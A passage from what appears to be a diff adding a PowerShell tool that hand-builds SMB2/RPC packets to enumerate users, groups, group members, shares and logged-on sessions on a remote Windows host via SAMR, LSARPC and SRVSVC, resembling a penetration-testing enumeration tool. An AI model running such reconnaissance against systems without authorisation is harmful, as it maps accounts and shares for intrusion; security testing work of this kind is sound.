0 0 0x03,0x00,0x00,0x00 0x00,0x00 0x07,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $LSARPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $LSARPC_data + $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..15] + $packet_SMB_header["Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $LSARPC_data + $stage = 'SendReceive' + } + + 'NetSessEnum' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SRVSVC_data = New-PacketSRVSVCNetSessEnum $Target + $SRVSVC_data = ConvertFrom-PacketOrderedDictionary $packet_SRVSVC_data + $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SRVSVC_data.Length 1024 + $packet_RPC_data = New-PacketRPCRequest 0x03 $SRVSVC_data.Length 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SRVSVC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SRVSVC_data + $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..15] + $packet_SMB_header["Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SRVSVC_data + $stage = 'SendReceive' + } + + 'NetShareEnumAll' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SRVSVC_data = New-PacketSRVSVCNetShareEnumAll $Target + $SRVSVC_data = ConvertFrom-PacketOrderedDictionary $packet_SRVSVC_data + $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SRVSVC_data.Length 4280 + $packet_RPC_data = New-PacketRPCRequest 0x03 $SRVSVC_data.Length 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0f,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SRVSVC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SRVSVC_data + $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..15] + $packet_SMB_header["Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SRVSVC_data + $stage = 'SendReceive' + } + + 'OpenAlias' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SAMR_data = New-PacketSAMROpenAlias $SAMR_domain_handle $SAMR_RID + $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x0c,0x00,0x00,0x00 0x00,0x00 0x1b,0x00 + $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SAMR_data + $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..15] + $packet_SMB_header["Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data + $stage = 'SendReceive' + } + + 'OpenDomain' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SAMR_data = New-PacketSAMROpenDomain $SAMR_connect_handle $SID_count $LSA_domain_SID + $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data + $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280 + $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x07,0x00,0x00,0x00 0x00,0x00 0x07,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SAMR_data + $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..15] + $packet_SMB_header["Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data + $stage = 'SendReceive' + } + + 'OpenGroup' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SAMR_data = New-PacketSAMROpenGroup $SAMR_domain_handle $SAMR_RID + $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x09,0x00,0x00,0x00 0x00,0x00 0x13,0x00 + $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SAMR_data + $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..15] + $packet_SMB_header["Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data + $stage = 'SendReceive' + } + + 'ParseLookupRids' + { + [Byte[]]$response_user_count_bytes = $client_receive[140..143] + $response_user_count = [System.BitConverter]::ToInt16($response_user_count_bytes,0) + $response_user_start = $response_user_count * 8 + 164 + $response_user_end = $response_user_start + $response_user_length_start = 152 + $response_user_list = @() + $response_username_list = @() + $response_user_type_list = @() + $i = 0 + + while($i -lt $response_user_count) + { + [Byte[]]$response_user_length_bytes = $client_receive[$response_user_length_start..($response_user_length_start + 1)] + $response_user_length = [System.BitConverter]::ToInt16($response_user_length_bytes,0) + $response_user_end = $response_user_start + $response_user_length + [Byte[]]$response_actual_count_bytes = $client_receive[($response_user_start - 4)..($response_user_start - 1)] + $response_actual_count = [System.BitConverter]::ToInt16($response_actual_count_bytes,0) + [Byte[]]$response_user_bytes = $client_receive[$response_user_start..($response_user_end - 1)] + + if($response_actual_count % 2) + { + $response_user_start += $response_user_length + 14 + } + else + { + $response_user_start += $response_user_length + 12 + } + + $response_user = [System.BitConverter]::ToString($response_user_bytes) + $response_user = $response_user -replace "-00","" + $response_user = $response_user.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $response_user = New-Object System.String ($response_user,0,$response_user.Length) + $response_username_list += $response_user + $response_user_length_start = $response_user_length_start + 8 + $i++ + } + + $response_user_type_array_bytes = $client_receive[($response_user_end + 14)..($response_user_end + 13 + ($response_user_count * 4))] + $response_user_type_start = 0 + + for($i = 0; $i -lt $response_user_count; $i++) + { + $response_user_type_bytes = $response_user_type_array_bytes[($response_user_type_start..($response_user_type_start + 3))] + $response_user_type_start += 4 + $response_user_type = [System.BitConverter]::ToInt16($response_user_type_bytes,0) + + if($response_user_type -eq 1) + { + $response_user_type_list += "user" + } + else + { + $response_user_type_list += "group" + } + + } + + $i = 0 + + ForEach($user in $response_username_list) + { + $response_user_object = New-Object PSObject + Add-Member -InputObject $response_user_object -MemberType NoteProperty -Name Username $user + Add-Member -InputObject $response_user_object -MemberType NoteProperty -Name Type $response_user_type_list[$i] + $response_user_list += $response_user_object + $i++ + } + + if($Action -eq 'All' -or $TargetShow) + { + Write-Output "$Target $Group Users:" + } + + Write-Output $response_user_list | Sort-Object -property Username |Format-Table -AutoSize + $stage = 'CloseRequest' + } + + 'ParseLookupSids' + { + [Byte[]]$response_domain_count_bytes = $client_receive[144..147] + $response_domain_count = [System.BitConverter]::ToInt16($response_domain_count_bytes,0) + $response_domain_start = $response_domain_count * 12 + 172 + $response_domain_end = $response_domain_start + $response_domain_length_start = 160 + $response_domain_list = @() + $i = 0 + + while($i -lt $response_domain_count) + { + [Byte[]]$response_domain_length_bytes = $client_receive[$response_domain_length_start..($response_domain_length_start + 1)] + $response_domain_length = [System.BitConverter]::ToInt16($response_domain_length_bytes,0) + $response_domain_end = $response_domain_start + $response_domain_length + [Byte[]]$response_actual_count_bytes = $client_receive[($response_domain_start - 4)..($response_domain_start - 1)] + $response_actual_count = [System.BitConverter]::ToInt16($response_actual_count_bytes,0) + [Byte[]]$response_domain_bytes = $client_receive[$response_domain_start..($response_domain_end - 1)] + + if($response_actual_count % 2) + { + $response_domain_start += $response_domain_length + 42 + } + else + { + $response_domain_start += $response_domain_length + 40 + } + + $response_domain = [System.BitConverter]::ToString($response_domain_bytes) + $response_domain = $response_domain -replace "-00","" + $response_domain = $response_domain.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $response_domain = New-Object System.String ($response_domain,0,$response_domain.Length) + $response_domain_list += $response_domain + $response_domain_length_start = $response_domain_length_start + 12 + $i++ + } + + [Byte[]]$response_user_count_bytes = $client_receive[($response_domain_start - 4)..($response_domain_start - 1)] + $response_user_count = [System.BitConverter]::ToInt16($response_user_count_bytes,0) + $response_user_start = $response_user_count * 16 + $response_domain_start + 12 + $response_user_end = $response_user_start + $response_user_length_start = $response_domain_start + 4 + $response_user_list = @() + $i = 0 + + while($i -lt $response_user_count) + { + $response_user_object = New-Object PSObject + [Byte[]]$response_user_type_bytes = $client_receive[($response_user_length_start - 4)] + [Byte[]]$response_user_length_bytes = $client_receive[$response_user_length_start..($response_user_length_start + 1)] + $response_user_length = [System.BitConverter]::ToInt16($response_user_length_bytes,0) + $response_SID_index_start = $response_user_length_start + 8 + [Byte[]]$response_SID_index_bytes = $client_receive[$response_SID_index_start..($response_SID_index_start + 3)] + $response_SID_index = [System.BitConverter]::ToInt16($response_SID_index_bytes,0) + $response_user_end = $response_user_start + $response_user_length + [Byte[]]$response_actual_count_bytes = $client_receive[($response_user_start - 4)..($response_user_start - 1)] + $response_actual_count = [System.BitConverter]::ToInt16($response_actual_count_bytes,0) + [Byte[]]$response_user_bytes = $client_receive[$response_user_start..($response_user_end - 1)] + + if($response_actual_count % 2) + { + $response_user_start += $response_user_length + 14 + } + else + { + $response_user_start += $response_user_length + 12 + } + + if($response_user_type_bytes -eq 1) + { + $response_user_type = "user" + } + else + { + $response_user_type = "group" + } + + + $response_user = [System.BitConverter]::ToString($response_user_bytes) + $response_user = $response_user -replace "-00","" + $response_user = $response_user.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $response_user = New-Object System.String ($response_user,0,$response_user.Length) + Add-Member -InputObject $response_user_object -MemberType NoteProperty -Name Username $response_user + Add-Member -InputObject $response_user_object -MemberType NoteProperty -Name Domain $response_domain_list[$response_SID_index] + Add-Member -InputObject $response_user_object -MemberType NoteProperty -Name Type $response_user_type + $response_user_length_start = $response_user_length_start + 16 + $response_user_list += $response_user_object + $i++ + } + + if($Action -eq 'All' -or $TargetShow) + { + Write-Output "$Target $Group Group Members:" + } + + Write-Output $response_user_list | Sort-Object -property Username |Format-Table -AutoSize + $stage = 'CloseRequest' + } + + 'ParseSRVSVC' + { + $response_object_list = @() + $share_list = @() + [Byte[]]$response_count_bytes = $client_receive[152..155] + $response_count = [System.BitConverter]::ToInt32($response_count_bytes,0) + $response_item_index = 164 + $i = 0 + + while($i -lt $response_count) + { + + if($i -gt 0) + { + + if($response_item_length % 2) + { + $response_item_index += $response_item_length * 2 + 2 + } + else + { + $response_item_index += $response_item_length * 2 + } + + } + else + { + + if($action_stage -eq 'Share') + { + $response_item_index += $response_count * 12 + } + else + { + $response_item_index += $response_count * 16 + } + + } + + $response_item_object = New-Object PSObject + [Byte[]]$response_item_length_bytes = $client_receive[$response_item_index..($response_item_index + 3)] + $response_item_length = [System.BitConverter]::ToInt32($response_item_length_bytes,0) + $response_item_index += 12 + [Byte[]]$response_item_bytes = $client_receive[($response_item_index)..($response_item_index + ($response_item_length * 2 - 1))] + $response_item = [System.BitConverter]::ToString($response_item_bytes) + $response_item = $response_item -replace "-00","" + $response_item = $response_item.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $response_item = New-Object System.String ($response_item,0,$response_item.Length) + + if($response_item_length % 2) + { + $response_item_index += $response_item_length * 2 + 2 + } + else + { + $response_item_index += $response_item_length * 2 + } + + [Byte[]]$response_item_length_bytes = $client_receive[$response_item_index..($response_item_index + 3)] + $response_item_length = [System.BitConverter]::ToInt32($response_item_length_bytes,0) + $response_item_index += 12 + [Byte[]]$response_item_2_bytes = $client_receive[($response_item_index)..($response_item_index + ($response_item_length * 2 - 1))] + $response_item_2 = [System.BitConverter]::ToString($response_item_2_bytes) + $response_item_2 = $response_item_2 -replace "-00","" + $response_item_2 = $response_item_2.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $response_item_2 = New-Object System.String ($response_item_2,0,$response_item_2.Length) + + if($action_stage -eq 'Share') + { + $share_list += $response_item + Add-Member -InputObject $response_item_object -MemberType NoteProperty -Name Share $response_item + Add-Member -InputObject $response_item_object -MemberType NoteProperty -Name Description $response_item_2 + Add-Member -InputObject $response_item_object -MemberType NoteProperty -Name "Access Mask" "" + } + else + { + Add-Member -InputObject $response_item_object -MemberType NoteProperty -Name Username $response_item_2 + Add-Member -InputObject $response_item_object -MemberType NoteProperty -Name Source $response_item + } + + $response_object_list += $response_item_object + $i++ + } + + if($Action -eq 'All' -and $action_stage -eq 'Share') + { + Write-Output "$Target Shares:" + } + elseif($Action -eq 'All' -and $action_stage -eq 'NetSession' -or $TargetShow) + { + Write-Output "$Target NetSessions:" + } + + if($action_stage -eq 'NetSession') + { + Write-Output $response_object_list | Sort-Object -property Share |Format-Table -AutoSize + } + + $stage = 'CloseRequest' + } + + 'ParseUsers' + { + [Byte[]]$response_user_count_bytes = $client_receive[148..151] + $response_user_count = [System.BitConverter]::ToInt16($response_user_count_bytes,0) + $response_user_start = $response_user_count * 12 + 172 + $response_user_end = $response_user_start + $response_RID_start = 160 + $response_user_length_start = 164 + $response_user_list = @() + $i = 0 + + while($i -lt $response_user_count) + { + $response_user_object = New-Object PSObject + [Byte[]]$response_user_length_bytes = $client_receive[$response_user_length_start..($response_user_length_start + 1)] + $response_user_length = [System.BitConverter]::ToInt16($response_user_length_bytes,0) + [Byte[]]$response_RID_bytes = $client_receive[$response_RID_start..($response_RID_start + 3)] + $response_RID = [System.BitConverter]::ToInt16($response_RID_bytes,0) + $response_user_end = $response_user_start + $response_user_length + [Byte[]]$response_actual_count_bytes = $client_receive[($response_user_start - 4)..($response_user_start - 1)] + $response_actual_count = [System.BitConverter]::ToInt16($response_actual_count_bytes,0) + [Byte[]]$response_user_bytes = $client_receive[$response_user_start..($response_user_end - 1)] + + if($response_actual_count % 2) + { + $response_user_start += $response_user_length + 14 + } + else + { + $response_user_start += $response_user_length + 12 + } + + $response_user = [System.BitConverter]::ToString($response_user_bytes) + $response_user = $response_user -replace "-00","" + $response_user = $response_user.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $response_user = New-Object System.String ($response_user,0,$response_user.Length) + Add-Member -InputObject $response_user_object -MemberType NoteProperty -Name Username $response_user + Add-Member -InputObject $response_user_object -MemberType NoteProperty -Name RID $response_RID + $response_user_length_start = $response_user_length_start + 12 + $response_RID_start = $response_RID_start + 12 + $response_user_list += $response_user_object + $i++ + } + + if($Action -eq 'All' -or $TargetShow) + { + Write-Output "$Target Users:" + } + + Write-Output $response_user_list | Sort-Object -property Username |Format-Table -AutoSize + $stage = 'CloseRequest' + } + + 'QueryGroupMember' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SAMR_data = New-PacketSAMRQueryGroupMember $group_handle + $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x10,0x00,0x00,0x00 0x00,0x00 0x19,0x00 + $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SAMR_data + $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..15] + $packet_SMB_header["Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data + $stage = 'SendReceive' + } + + 'QueryInfoRequest' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x10,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SMB_data = New-PacketSMB2QueryInfoRequest 0x01 0x05 0x18,0x00,0x00,0x00 0x68,0x00 $file_ID + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $SMB_header + $SMB_data + $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..15] + $packet_SMB_header["Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $stage = 'SendReceive' + } + + 'ReadRequest' + { + Start-Sleep -m $Sleep + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x08,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SMB_data = New-PacketSMB2ReadRequest $file_ID + $packet_SMB_data["Length"] = 0x00,0x04,0x00,0x00 + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $SMB_header + $SMB_data + $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..15] + $packet_SMB_header["Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $stage = 'SendReceive' + } + + 'RPCBind' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_RPC_data = New-PacketRPCBind $frag_length $call_ID $num_ctx_items 0x00,0x00 $named_pipe_UUID $named_pipe_UUID_version + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB_data = New-PacketSMB2WriteRequest $file_ID $RPC_data.Length + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..15] + $packet_SMB_header["Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $stage = 'SendReceive' + } + + 'SAMRCloseRequest' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SAMR_data = New-PacketSAMRClose $SAMR_domain_handle + $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x09,0x00,0x00,0x00 0x00,0x00 0x01,0x00 + $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SAMR_data + $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..15] + $packet_SMB_header["Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data + $stage = 'SendReceive' + } + + 'SendReceive' + { + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + + if(Get-StatusPending $client_receive[12..15]) + { + $stage = 'StatusPending' + } + else + { + $stage = 'StatusReceived' + } + + } + + 'StatusPending' + { + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + + if([System.BitConverter]::ToString($client_receive[12..15]) -ne '03-01-00-00') + { + $stage = 'StatusReceived' + } + + } + + 'StatusReceived' + { + + switch ($stage_current) + { + + 'CloseRequest' + { + + if($step -eq 1) + { + $named_pipe = 0x73,0x00,0x61,0x00,0x6d,0x00,0x72,0x00 # samr + $stage = 'CreateRequest' + } + elseif($action_stage -eq 'Share' -and $share_list.Count -gt 0) + { + $stage = 'TreeConnect' + } + else + { + $stage = 'TreeDisconnect' + } + + } + + 'Connect2' + { + $step++ + + if($client_receive[119] -eq 3 -and [System.BitConverter]::ToString($client_receive[140..143]) -eq '05-00-00-00') + { + + if($Action -eq 'All') + { + Write-Output "[-] $username does not have permission to enumerate groups, users, and NetSessions on $target" + } + else + { + Write-Output "[-] $username does not have permission to enumerate groups on $target" + } + + $RPC_access_denied = $true + $stage = 'CloseRequest' + } + else + { + $SID_count = 0x04,0x00,0x00,0x00 + [Byte[]]$SAMR_connect_handle = $client_receive[140..159] + $stage = 'OpenDomain' + } + + } + + 'Connect5' + { + $step++ + + if($client_receive[119] -eq 3 -and [System.BitConverter]::ToString($client_receive[140..143]) -eq '05-00-00-00') + { + Write-Output "[-] $username does not have permission to enumerate users on $target" + $stage = 'CloseRequest' + } + else + { + $SID_count = 0x04,0x00,0x00,0x00 + [Byte[]]$SAMR_connect_handle = $client_receive[156..175] + $stage = 'OpenDomain' + } + + } + + 'CreateRequest' + { + + if($action_stage -eq 'Share') + { + $frag_length = 0x48,0x00 + $call_ID = 2 + $num_ctx_items = 0x01 + $named_pipe_UUID = 0xc8,0x4f,0x32,0x4b,0x70,0x16,0xd3,0x01,0x12,0x78,0x5a,0x47,0xbf,0x6e,0xe1,0x88 + $named_pipe_UUID_version = 0x03,0x00 + $stage_next = 'NetShareEnumAll' + } + elseif($action_stage -eq 'NetSession') + { + $frag_length = 0x74,0x00 + $call_ID = 2 + $num_ctx_items = 0x02 + $named_pipe_UUID = 0xc8,0x4f,0x32,0x4b,0x70,0x16,0xd3,0x01,0x12,0x78,0x5a,0x47,0xbf,0x6e,0xe1,0x88 + $named_pipe_UUID_version = 0x03,0x00 + $stage_next = 'NetSessEnum' + } + elseif($step -eq 1) + { + $frag_length = 0x48,0x00 + $call_ID = 5 + $num_ctx_items = 0x01 + $named_pipe_UUID = 0x78,0x57,0x34,0x12,0x34,0x12,0xcd,0xab,0xef,0x00,0x01,0x23,0x45,0x67,0x89,0xac + $named_pipe_UUID_version = 0x01,0x00 + + if($action_stage -eq 'User') + { + $stage_next = 'Connect5' + } + else + { + $stage_next = 'Connect2' + } + + } + elseif($step -gt 2) + { + $frag_length = 0x48,0x00 + $call_ID = 14 + $num_ctx_items = 0x01 + $named_pipe_UUID = 0x78,0x57,0x34,0x12,0x34,0x12,0xcd,0xab,0xef,0x00,0x01,0x23,0x45,0x67,0x89,0xab + $named_pipe_UUID_version = 0x00,0x00 + $named_pipe = 0x78,0x57,0x34,0x12,0x34,0x12,0xcd,0xab,0x76,0x00,0x63,0x00 + $stage_next = 'LSAOpenPolicy' + } + else + { + $frag_length = 0x48,0x00 + $call_ID = 1 + $num_ctx_items = 0x01 + $named_pipe_UUID = 0x78,0x57,0x34,0x12,0x34,0x12,0xcd,0xab,0xef,0x00,0x01,0x23,0x45,0x67,0x89,0xab + $named_pipe_UUID_version = 0x00,0x00 + $named_pipe = 0x78,0x57,0x34,0x12,0x34,0x12,0xcd,0xab,0x76,0x00,0x63,0x00 + $stage_next = 'LSAOpenPolicy' + } + + $file_ID = $client_receive[132..147] + + if($Refresh -and $stage -ne 'Exit') + { + Write-Output "[+] Session refreshed" + $stage = 'Exit' + } + elseif($step -ge 2) + { + $stage = 'RPCBind' + } + elseif($stage -ne 'Exit') + { + $stage = 'QueryInfoRequest' + } + + } + + 